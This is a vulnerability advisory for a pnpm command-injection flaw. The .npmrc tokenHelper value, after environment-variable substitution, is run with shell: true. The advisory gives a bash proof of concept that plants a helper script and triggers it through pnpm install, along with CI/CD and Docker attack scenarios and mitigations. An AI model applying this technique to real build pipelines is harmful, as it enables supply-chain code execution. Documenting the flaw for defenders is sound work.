CVE-2025-69262

Description

## Summary A command injection vulnerability exists in pnpm when using environment variable substitution in `.npmrc` configuration files with `tokenHelper` settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments. ## Affected Components - **Package**: pnpm - **Versions**: All versions using `@pnpm/config.env-replace` and `loadToken` functionality - **File**: `pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts` - `loadToken()` function - **File**: `pnpm/config/config/src/readLocalConfig.ts` - `.npmrc` environment variable substitution ## Technical Details ### Vulnerability Chain 1. **Environment Variable Substitution** - `.npmrc` supports `${VAR}` syntax - Substitution occurs in `readLocalConfig()` 2. **loadToken Execution** - Uses `spawnSync(helperPath, { shell: true })` - Only validates absolute path existence 3. **Attack Flow** ``` .npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH} ↓ envReplace() → /tmp/evil-helper.sh ↓ loadToken() → spawnSync(..., { shell: true }) ↓ RCE achieved ``` ### Code Evidence **`pnpm/config/config/src/readLocalConfig.ts:17-18`** ```typescript key = envReplace(key, process.env) ini[key] = parseField(types, envReplace(val, process.env), key) ``` **`pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71`** ```typescript export function loadToken(helperPath: string, settingName: string): string { if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) { throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...) } const spawnResult = spawnSync(helperPath, { shell: true }) // ... } ``` ## Proof of Concept ### Prerequisites - Private npm registry access - Control over environment variables - Ability to place scripts in filesystem ### PoC Steps ```bash # 1. Create malicious helper script cat > /tmp/evil-helper.sh << 'SCRIPT' #!/bin/bash echo "RCE SUCCESS!" > /tmp/rce-log.txt echo "TOKEN_12345" SCRIPT chmod +x /tmp/evil-helper.sh # 2. Create .npmrc with environment variable cat > .npmrc << 'EOF' registry=https://registry.npmjs.org/ registry.npmjs.org/:tokenHelper=${HELPER_PATH} EOF # 3. Set environment variable (attacker controlled) export HELPER_PATH=/tmp/evil-helper.sh # 4. Trigger pnpm install pnpm install # RCE occurs during auth # 5. Verify attack cat /tmp/rce-log.txt ``` ### PoC Results ``` ==> Attack successful ==> File created: /tmp/rce-log.txt ==> Arbitrary code execution confirmed ``` ## Impact ### Severity - **CVSS Score**: 7.6 (High) - **CVSS Vector**: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H ### Affected Environments **High Risk:** - CI/CD pipelines (GitHub Actions, GitLab CI) - Docker build environments - Kubernetes deployments - Private registry users **Low Risk:** - Public registry only - Production runtime (no pnpm execution) - Static sites ### Attack Scenarios **Scenario 1: CI/CD Supply Chain** ``` Repository → Build Trigger → pnpm install → RCE → Production Deploy ``` **Scenario 2: Docker Build** ```dockerfile FROM node:20 ARG HELPER_PATH=/tmp/evil COPY .npmrc . RUN pnpm install # RCE ``` **Scenario 3: Kubernetes** ``` Secret Control → Env Variable → .npmrc Substitution → RCE ``` ## Mitigation ### Temporary Workarounds **Disable tokenHelper:** ```ini # .npmrc # registry.npmjs.org/:tokenHelper=${HELPER_PATH} ``` **Use direct tokens:** ```ini //registry.npmjs.org/:_authToken=YOUR_TOKEN ``` **Audit environment variables:** - Review CI/CD env vars - Restrict .npmrc changes - Monitor build logs ### Recommended Fixes 1. Remove `shell: true` from loadToken 2. Implement helper path allowlist 3. Validate substituted paths 4. Consider sandboxing ## Disclosure - **Discovery**: 2025-11-02 - **PoC**: 2025-11-02 - **Report**: [Pending disclosure decision] ## References - Repository: https://github.com/pnpm/pnpm - Affected: `@pnpm/config.env-replace@^3.0.2` - Similar: CVE-2024-53866, CVE-2023-37478 ## Credit Reported by: Jiyong Yang Contact: sy2n0@naver.com